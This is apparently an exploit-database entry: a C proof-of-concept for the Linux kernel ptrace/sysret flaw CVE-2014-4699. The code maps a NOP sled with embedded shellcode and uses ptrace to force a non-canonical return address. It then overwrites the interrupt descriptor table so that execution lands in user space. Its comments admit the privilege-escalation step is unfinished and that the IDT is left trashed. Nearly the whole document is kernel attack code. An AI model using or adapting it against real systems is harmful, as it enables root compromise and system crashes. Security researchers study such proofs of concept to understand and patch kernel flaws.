Linux Kernel ptrace/sysret - Local Privilege Escalation

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/**

 * CVE-2014-4699 ptrace/sysret PoC

 * by Vitaly Nikolenko

 * vnik@hashcrack.org

 *

 * > gcc -O2 poc_v0.c

 *

 * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the

 * following will trigger the #GP in sysret and overwrite the #PF handler so we

 * can land to our NOP sled mapped at 0x80000000.

 * However, once landed, the IDT will be trashed. We can either attempt to

 * restore it (then escalate privileges and execute our shellcode) or find

 * something else to overwrite that would transfer exec flow to our controlled

 * user-space address. Since 3.10.something, IDT is read-only anyway. If you

 * have any ideas, let me know.

 */

  

#include <stdio.h>

#include <stdint.h>

#include <assert.h>

#include <sys/ptrace.h>

#include <sys/types.h>

#include <sys/wait.h>

#include <sys/syscall.h>

#include <sys/user.h>

#include <unistd.h>

#include <sys/mman.h>

#include <errno.h>

 

#define SIZE  0x10000000

 

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);

typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);

 

unsigned long __user_cs;

unsigned long __user_ss;

unsigned long __user_rflags;

 

void __attribute__((regparm(3))) payload() {

    uint32_t *fixptr = (void*)0xffffffff81dd70e8;

    // restore the #PF handler

    *fixptr = -1;

    //commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;

    //prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;

    //commit_creds(prepare_kernel_cred((uint64_t)NULL));

 

    //__asm__ volatile ("swapgs\n\t"

    //        "...");

}

 

int main() {

    struct user_regs_struct regs;

    uint8_t *trampoline, *tmp;

    int status;

 

    struct {

        uint16_t limit;

        uint64_t addr;

    } __attribute__((packed)) idt;

 

        // MAP_POPULATE so we don't trigger extra #PF

    trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);

    assert(trampoline == 0x80000000);

    memset(trampoline, 0x90, SIZE);

        tmp = trampoline;

        tmp += SIZE-1024;

        memcpy(tmp, &payload, 1024);

    memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);

 

    pid_t chld;

 

        if ((chld = fork()) < 0) {

        perror("fork");

        exit(1);

    }

     

    if (chld == 0) {

        if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {

            perror("PTRACE_TRACEME");

            exit(1);

        }

        raise(SIGSTOP);

        fork();

        return 0;

    }

 

    asm volatile("sidt %0" : "=m" (idt));

    printf("IDT addr = 0x%lx\n", idt.addr);

 

    waitpid(chld, &status, 0);

 

    ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);

 

    ptrace(PTRACE_CONT, chld, 0, 0);

 

    waitpid(chld, &status, 0);

 

        ptrace(PTRACE_GETREGS, chld, NULL, &regs);

    regs.rdi = 0x0000000000000000;

    regs.rip = 0x8fffffffffffffff;

    regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;

 

    // attempt to restore the IDT

    regs.rdi = 0x0000000000000000;

    regs.rsi = 0x81658e000010cbd0;

    regs.rdx = 0x00000000ffffffff;

    regs.rcx = 0x81658e000010cba0;

    regs.rax = 0x00000000ffffffff;

    regs.r8  = 0x81658e010010cb00;

    regs.r9  = 0x00000000ffffffff;

    regs.r10 = 0x81668e0000106b10;

    regs.r11 = 0x00000000ffffffff;

    regs.rbx = 0x81668e0000106ac0;

    regs.rbp = 0x00000000ffffffff;

    regs.r12 = 0x81668e0000106ac0;

    regs.r13 = 0x00000000ffffffff;

    regs.r14 = 0x81668e0200106a90;

    regs.r15 = 0x00000000ffffffff;

 

        ptrace(PTRACE_SETREGS, chld, NULL, &regs);

 

    ptrace(PTRACE_CONT, chld, 0, 0);

 

    ptrace(PTRACE_DETACH, chld, 0, 0);

}